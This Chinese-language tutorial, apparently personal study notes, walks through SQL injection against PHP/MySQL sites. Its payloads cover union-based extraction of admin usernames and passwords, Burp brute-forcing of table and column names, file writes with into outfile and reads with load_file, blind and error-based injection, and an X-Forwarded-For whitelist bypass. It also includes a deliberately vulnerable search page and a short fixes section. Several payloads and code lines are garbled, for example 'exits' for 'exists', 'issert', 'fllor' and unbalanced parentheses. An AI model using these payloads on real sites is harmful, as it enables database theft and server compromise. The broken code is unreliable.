一、sql注入的注入点:
- 参数名
- 参数值
- cookie
- 目录文件名
工具:sev3wvs或者啊D注入
- 是否存在sql注入:
select * from news where id = 3-1'
##加单引号如果id=1‘、id=2‘、id=-1’、id=1 and 1=1‘
##以及id=1‘ and1=2‘的返回结果不一样则说明存在注入。
##也可以取消后面的单引号用‘#’或者‘--+’注释后面部分的语句
-
sql注入方向:
-
Q1.注入点查询的语句实际上有多少个列名
-
Q2.我想把我自己的
union select
查询出来的东西显示出来 -
Q3.我怎么知道其他表的名字
A1.巧用
order by(依据第几列排序)
:
select * from news where id = 1' order by 4;
##反馈报错则说明访问数据表只有三列
A2.使用union select(联合查询)
select * from news where id= -1' union select 1,2,3 from admin;
##用id=-1使得前半句查询语句在news中查不到对应数据条,于是没有回显。
##则只显示admin中的数据。
A3.使用and exits(判断查询结果报错)
:
select * from news where id = 1' exits(select * from aa);
##如果返回报错则不存在表aa。
##由此可使用http传输过程,将表名设为参数使用burp爆破表名一个一个排查。
##注意这里把id设置成1因为这是and与操作前面必须通过才执行后面,和联合查询不一样。
此外,也可以将表名和列名同时设置为参数一起进行burp爆破比较方便:
select * from news where id = 1 and exits(select $col1$ ,$col2$ from $table_name$;
SUMMARY -------- SQL注入攻击的四个步骤
1.判断注入点and 1 = 2 --+
2.order by 定列数
3.and exits 定列名
4.union select 查数据(先id=-1' union select 1,2,3 from admin;
再id=-1'union select 1,username,password from admin;
)
sql注入搜索型:
<?php
$conn = mysql_connect('localhost','root','root') or die("bad!");
//使用root账号、root密码去登陆localhost这个ip地址上的Ip服务
mysql_query("SET NAMES utf-8");
//执行设置编码函数
mysql_select_db('sqltest',$conn) or endMsg("数据库连接失败"):
//连接数据库后选择了sqltest这个库
$title = issert($_GET['title'])? $_GET['title'] : "vulkey";
//对应url是 0.php?title=可控制传入值
$sql = "SELECT * from news WHERE title like '%{$title}%'";
//%表示通配符适用于搜索的模型匹配
$result = mysql_query($sql,$conn) or die(mysql_error());
%>
<!DOCTYPE html>
<html>
<body>
<?php $row = mysql_fetch_array($result,MYSQL_ASSOC);
echo "sql语句:SELECT * FROM news where title like'%<font color = 'red'>{$title}</font>%'";
echo "<hr>";
echo "<center><table border='2'><tr>
<td>标题</td><td>内容</td></tr>
<tr><td>{$row['title']}</td><td>{$row['content']}</td>
</tr></table></center>";
mysql_free_result($result);
?>
</body>
</html>
1.判断是否存在注入点
**Note:**当有%模型匹配时结尾不只单引号,要百分号和单引号一起闭合。
title = m%’ and ‘%1%‘ = %1
或
title = m%‘ and ‘1%‘ = '1
对应执行的sql语句:
select * from news where title like '%m%' and '1%' = '1%'
2.判断列数:
title=m%' order by 4 --+
3.获取表名:
title=m%' and exists (select * from $admin$) --+
##admin使用Burp爆破
4.表的列名:
title=m%' and exists(select $cols$ from $admin$) --+
##cols和admin使用Burp爆破
5.库名:
title=-mm%' union select 1,database(),3 from admin--+
##选择前半句不存在的值则只显示联合查询的后半句的结果
- 一次输出所有列名:concat:
title=-mmmmm%' union select1,group_concat(column_name),3 from information_schema.columns where table_schema = 'sqltest' and table_name='admin' --+
此处可以将库名表名转化为16进制,这样就不用加单引号了。
二、sql注入写文件
- 写入需要的条件:
- 绝对路径:D:/www
- 必须为最高权限(root)
title=-mmmmmmmm% union select(`1,2,3 into outfile 'D:/WWW/KEY.txt' --+
##正斜杠转义若要用正斜杠要用两个
三、sql注入读文件
- load_file()导入文件
- replace()替换
- hex()十六进制转换
title=-mmmmmmmm% union select 1,hex(load_file('D:/www/key.txt'),2 from admin;
四、SQL注入远程执行
五、sql盲注
指的是页面无任何信息返回,可进行时间盲注延迟5s返回之类的。
1.bool盲注只有真假的反馈
id=1 and user = 'root@localhost';
id=1 and user like 'r%';
2.时间盲注
id=1 and sleep(5)
##查看网页F12的网络窗口有时间线成功执行秒数后返回0,即不显示数据
在这里介绍Mysql中的IF语句: IF(expr1,expr2,expr3)
expr1条件为真执行expr2否则执行expr3
执行select(1,‘true’,‘false’)返回true
再介绍Mysql的MID(str,pos,len)
对str从pos位置开始截取长度为len的字符串并返回
因此可以写出以下注入语句:
select if(ascii(mid(user(),$1$,1)=$114$,sleep(5),1);
##根据有无时间延迟来判断User()的第一个字符是否是ascii码为114的'r'字符
##对于这个式子可以对pos位置的1和114进行burp标记参数爆破以逐个排查user()不同位置的值
##设置方面,对Burpsuite软件的爆破策略选Numbers范围从0-127逐步递增的step选1
在此之前要先知道user()结果的长度:
id = 1 if(length(user())=$14$,sleep(5),1);
##这样对$1$进行设置的时候可以知道排查到什么位置后面就没有了.
推广到已知列名后逐一获取列中数据:
id = 1 and if(ascii(mid((select username from admin where id=1),$1$,1))=$114$,sleep(5),1);
推广到已知列名后逐一获取列中所有数据:
id =1 and if(ascii(mid((select group_concat(username) from admin),$1$,1)=$114$,sleep(5),1);
本小节涉及到的五个函数:
if() ascii() mid() group_concat() sleep(5)
- 搜索型sql语句的盲注:
id = 1 and if(ascii(mid((select user() from admin),$1$,1)) like 'r%'),sleep(5),1;
##但是需要加单引号可能会比较麻烦
六、报错注入
首先需要了解count()、rand()、floor()、group by 、concat函数
count():检索结果中非空行的行数。如select count(*) from news;
rand():产生随机浮点值。
concat():连接函数
介绍RAND()、RAND(N)函数
前者返回一个随机浮点值N,范围在0到1之间。后者制定一个整数参数N后则他被用作种子值,用来产生重复序列。
rand();rand();
两次结果不同
rand(5);rand(5);
两次结果相同,所以为了保证随机性最好使用rand()*5;
先看下面这两段代码作比较:
select count(x).(concat(user().ox7e.floor(rand(0)*2)x from admin group by x;
##(floor(rand(0)*2))x是对这段数据起别名的意思
select count(x).(concat(user().ox7e.floor(rand()*2)x from admin group by x;
##0x7e是波浪号
测试最终测到总是会报错:
Duplicate entry 'root@localhost~1' for key 'group by key'
若一个表test中有几行字符串数据:则如下语句执行会得到如下结果:
select fllor(rand(0)*2) from keytest.test;
执行结果:
floor(rand(0)*2 |
---|
0 |
1 |
1 |
0 |
1 |
1 |
0 |
1 |
1 |
0 |
1 |
1 |
0 |
1 |
1 |
发现规律永远是011011,原理见下图:
floor(rand(0)*2)
被计算3次、查数据库表5次这也就是为什么数据表需要三条数据。
改成flloor(rand()*2)
则不会报错,因为第一次不会随机产生0,所以不管查询多少条记录都能找到,则不会再次计算,只是简单增加count(*)
字段的数量,所以不会报错。
id=1 and select 1 from(select count(*),concat((select username from admin where id = 1).0x7e.(floor(rand(0)*2))x) from admin group by x)a
##对select from 后面的表整个重命名为a
##floor部分整个重命名为x
则可在显示报错时将你要显示的用户名的部分被拼接显示出来。
所以报错注入是针对信息不如直接查询的情况,以通过报错从错误信息中获取信息的情况。
七、另类注入
- Base64注入
加函数base64_decode()解码 - XFF注入
请求包中的X-Forward-For头的值会被接收方复核,所以先写一个显示XFF的脚本:
<?php
$ip = $_SERVER['HTTP_X_FOREARDED_FOR'];
echo ip;
?>
绕过XFF验证如一个网页脚本设置白名单如下(只有指定XFF为指定网址的才能登陆):
<meta charset="utf-8">
<?php
$ip = $_SERVER['HTTP_X_FOREARDED_FOR'];
if($ip==="127.0.0.1"){
echo "登陆成功!";
}else{
echo "get out!";
}
?>
则抓包之后修改XFF为127.0.0.1即可绕过。
则如果后端接收XFF就可以抓包XFF。
八、怎么修复SQL注入?
- 白名单
- 黑名单
1.将能接受的数据转换为整形:
$id = isset($_GET['id'])?intVal($_GET['id']):1;
//此举只适用于参数可以为整数型的。
//用已修复整形注入点。
2.将能接受的数据存入白名单数组:
if(inarray($_GET['id'],$array)){
echo "执行sql语句"
}else{
echo "查询数据不符合条件不予执行"
}